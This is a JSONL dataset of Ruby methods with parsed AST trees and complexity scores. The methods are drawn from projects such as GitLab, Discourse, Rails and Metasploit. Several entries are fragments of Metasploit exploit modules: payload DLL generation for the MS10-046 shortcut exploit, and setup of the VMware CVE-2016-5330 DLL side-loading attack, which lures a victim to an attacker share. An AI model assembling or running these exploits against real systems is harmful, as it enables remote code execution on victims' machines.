{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/concurrency.rb","start_line":129,"raw_source":"def self.run(seed: nil, runs: nil, &blk)\n      if runs.present?\n        Sampling.run(seed, runs, &blk)\n      else\n        Complete.run(&blk)\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"seed\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"runs\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runs\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sampling\"]},\"run\",{\"type\":\"lvar\",\"children\":[\"seed\"]},{\"type\":\"lvar\",\"children\":[\"runs\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Complete\"]},\"run\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}]}","id":"ccdb1ece-c579-4ff7-a8b1-3fe063e2b78b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb","start_line":72,"raw_source":"def setup\n    super\n\n    self.file_contents = generate_payload_dll\n    self.file_name = \"#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll\"\n    print_status(\"File available on #{unc}...\")\n  end","complexity_score":9.55,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"file_contents=\",{\"type\":\"send\",\"children\":[null,\"generate_payload_dll\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"file_name=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"str\",\"children\":[\".dll\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File available on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unc\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]}]}]}","id":"bf062390-7883-4a3e-a492-d90c5a09cbc3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/settings/ci_cd_controller.rb","start_line":152,"raw_source":"def highlight_badge(name, content, language = nil)\n        Gitlab::Highlight.highlight(name, content, language: language)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"highlight_badge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"optarg\",\"children\":[\"language\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Highlight\"]},\"highlight\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"language\"]},{\"type\":\"lvar\",\"children\":[\"language\"]}]}]}]}]}","id":"a0ba8b7e-52b9-4c55-a99b-968d4b3fe1c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/migration_support/sidekiq_middleware.rb","start_line":6,"raw_source":"def call(worker, job, queue)\n        return yield unless register_worker?(worker.class)\n\n        ::ClickHouse::MigrationSupport::ExclusiveLock.register_running_worker(worker.class, worker_id(job, queue)) do\n          yield\n        end\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker\"]},{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"arg\",\"children\":[\"queue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register_worker?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"class\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"yield\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ClickHouse\"]},\"MigrationSupport\"]},\"ExclusiveLock\"]},\"register_running_worker\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"class\"]},{\"type\":\"send\",\"children\":[null,\"worker_id\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"queue\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"d9732143-363c-4fd9-af08-4c70fe7e4843"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_time_ext_test.rb","start_line":432,"raw_source":"def test_formatted_offset_with_local\n    dt = DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24))\n    assert_equal \"-05:00\", dt.formatted_offset\n    assert_equal \"-0500\", dt.formatted_offset(false)\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_formatted_offset_with_local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[21]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[-5]},{\"type\":\"int\",\"children\":[24]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dt\"]},\"formatted_offset\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-0500\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dt\"]},\"formatted_offset\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"b15fa615-a002-443a-9a6e-f1a52e6f5832"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/import_record_preparer.rb","start_line":41,"raw_source":"def create_discussion_note_on_missing_diff\n      return unless record.errors.details[:base].any? { |error| DIFF_NOTE_RECOVERABLE_ERRORS.include?(error[:error]) }\n\n      new_note = \"*Comment on\"\n\n      new_note += \" #{record.position.old_path}:#{record.position.old_line} -->\" if record.position.old_line\n      new_note += \" #{record.position.new_path}:#{record.position.new_line}\" if record.position.new_line\n      new_note += \"*\\n\\n#{record.note}\"\n\n      DiscussionNote.new(record.attributes.except(*DIFF_NOTE_TO_DISCUSSION_NOTE_EXCLUDED_ATTRS)).tap do |note|\n        note.note = new_note\n        note.importing = record.importing\n      end\n    end","complexity_score":61.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_discussion_note_on_missing_diff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"errors\"]},\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DIFF_NOTE_RECOVERABLE_ERRORS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"new_note\",{\"type\":\"str\",\"children\":[\"*Comment on\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"position\"]},\"old_line\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_note\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"position\"]},\"old_path\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"position\"]},\"old_line\"]}]},{\"type\":\"str\",\"children\":[\" -->\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"position\"]},\"new_line\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_note\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"position\"]},\"new_path\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"position\"]},\"new_line\"]}]}]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_note\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"*\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"note\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscussionNote\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"attributes\"]},\"except\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DIFF_NOTE_TO_DISCUSSION_NOTE_EXCLUDED_ATTRS\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"note=\",{\"type\":\"lvar\",\"children\":[\"new_note\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"importing=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"importing\"]}]}]}]}]}]}","id":"edc8fb0d-227f-4e8d-b436-ac402a18cb92"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',\n        'Description' => %q{\n          A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,\n          a component of VMware Tools. This issue can be exploited by luring a victim into\n          opening a document from the attacker's share. An attacker can exploit this issue to\n          execute arbitrary code with the privileges of the target user. This can potentially\n          result in the attacker taking complete control of the affected system. If the WebDAV\n          Mini-Redirector is enabled, it is possible to exploit this issue over the internet.\n        },\n        'Author' => 'Yorick Koster',\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2016-5330'],\n          ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],\n          ['URL', 'https://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread'\n        },\n        'Payload' => { 'Space' => 2048, },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows x64', { 'Arch' => ARCH_X64, } ],\n          [ 'Windows x86', { 'Arch' => ARCH_X86, } ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2016-08-05',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('SRVPORT', [ true, \"The daemon port to listen on (do not change)\", 80 ]),\n        OptString.new('URIPATH', [ true, \"The URI to use (do not change)\", \"/\" ]),\n        OptString.new('BASENAME', [ true, \"The base name for the docx file\", \"Document1\" ]),\n        OptString.new('SHARENAME', [ true, \"The name of the top-level share\", \"documents\" ])\n      ]\n    )\n\n    # no SSL\n    deregister_options('SSL', 'SSLVersion', 'SSLCert')\n  end","complexity_score":10.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"DLL Side Loading Vulnerability in VMware Host Guest Client Redirector\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,\\n\"]},{\"type\":\"str\",\"children\":[\"          a component of VMware Tools. This issue can be exploited by luring a victim into\\n\"]},{\"type\":\"str\",\"children\":[\"          opening a document from the attacker's share. An attacker can exploit this issue to\\n\"]},{\"type\":\"str\",\"children\":[\"          execute arbitrary code with the privileges of the target user. This can potentially\\n\"]},{\"type\":\"str\",\"children\":[\"          result in the attacker taking complete control of the affected system. If the WebDAV\\n\"]},{\"type\":\"str\",\"children\":[\"          Mini-Redirector is enabled, it is possible to exploit this issue over the internet.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Yorick Koster\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-5330\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.vmware.com/in/security/advisories/VMSA-2016-0010.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2048]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-08-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The daemon port to listen on (do not change)\"]},{\"type\":\"int\",\"children\":[80]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URIPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI to use (do not change)\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BASENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base name for the docx file\"]},{\"type\":\"str\",\"children\":[\"Document1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SHARENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the top-level share\"]},{\"type\":\"str\",\"children\":[\"documents\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"str\",\"children\":[\"SSLVersion\"]},{\"type\":\"str\",\"children\":[\"SSLCert\"]}]}]}]}","id":"ba1e1ad0-40a8-4780-819f-b5baa9c7346a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/llm_quota_usage.rb","start_line":69,"raw_source":"def quota_exceeded?\n    return false if !llm_quota\n\n    (llm_quota.max_tokens.present? && total_tokens_used > llm_quota.max_tokens) ||\n      (llm_quota.max_usages.present? && usages > llm_quota.max_usages)\n  end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"quota_exceeded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_quota\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_quota\"]},\"max_tokens\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_tokens_used\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_quota\"]},\"max_tokens\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_quota\"]},\"max_usages\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"usages\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_quota\"]},\"max_usages\"]}]}]}]}]}]}]}","id":"c1074bda-c6b6-46f4-9acf-c0cd5a884161"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/fuzzer.rb","start_line":42,"raw_source":"def fuzz_strings\n    res = []\n    self.methods.sort.grep(/^fuzzer_string/).each do |m|\n      @last_fuzzer_input = m\n      block_given? ? self.send(m) {|x| yield(x) } : (res << self.send(m))\n    end\n    res\n  end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fuzz_strings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"methods\"]},\"sort\"]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^fuzzer_string\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@last_fuzzer_input\",{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"8cbd4228-27eb-4beb-a169-2248cd16eab3"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/standard_tag_test.rb","start_line":8,"raw_source":"def test_no_transform\n    assert_template_result(\n      'this text should come out of the template without change...',\n      'this text should come out of the template without change...',\n    )\n\n    assert_template_result('blah', 'blah')\n    assert_template_result('<blah>', '<blah>')\n    assert_template_result('|,.:', '|,.:')\n    assert_template_result('', '')\n\n    text = %(this shouldnt see any transformation either but has multiple lines\n              as you can clearly see here ...)\n    assert_template_result(text, text)\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_transform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"this text should come out of the template without change...\"]},{\"type\":\"str\",\"children\":[\"this text should come out of the template without change...\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"blah\"]},{\"type\":\"str\",\"children\":[\"blah\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"<blah>\"]},{\"type\":\"str\",\"children\":[\"<blah>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"|,.:\"]},{\"type\":\"str\",\"children\":[\"|,.:\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"this shouldnt see any transformation either but has multiple lines\\n\"]},{\"type\":\"str\",\"children\":[\"              as you can clearly see here ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}","id":"4d22e04b-42db-443a-9ab6-8574ec3215cb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_action.rb","start_line":102,"raw_source":"def conditions_fulfilled?(work_package, user)\n    conditions.all? { |c| c.fulfilled_by?(work_package, user) }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"conditions_fulfilled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conditions\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"fulfilled_by?\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"588daa17-f5e7-49f9-b381-3c10709c4027"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/auth_helper.rb","start_line":139,"raw_source":"def button_based_providers\n    auth_providers.reject { |provider| form_based_provider?(provider) }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"button_based_providers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_providers\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[null,\"form_based_provider?\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]}]}","id":"9720aba8-9369-4e58-b3fa-b1ad6a2e4841"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/instance_review_controller.rb","start_line":12,"raw_source":"def instance_review_params\n    result = {\n      instance_review: {\n        email: current_user.email,\n        last_name: current_user.name,\n        version: ::Gitlab::VERSION\n      }\n    }\n\n    if Gitlab::CurrentSettings.usage_ping_enabled?\n      data = Gitlab::Usage::ServicePingReport.for(output: :all_metrics_values, cached: true)\n      counts = data[:counts]\n\n      result[:instance_review].merge!(\n        users_count: data[:active_user_count],\n        projects_count: counts[:projects],\n        groups_count: counts[:groups],\n        issues_count: counts[:issues],\n        merge_requests_count: counts[:merge_requests],\n        internal_pipelines_count: counts[:ci_internal_pipelines],\n        external_pipelines_count: counts[:ci_external_pipelines],\n        labels_count: counts[:labels],\n        milestones_count: counts[:milestones],\n        snippets_count: counts[:snippets],\n        notes_count: counts[:notes]\n      )\n    end\n\n    result.to_query\n  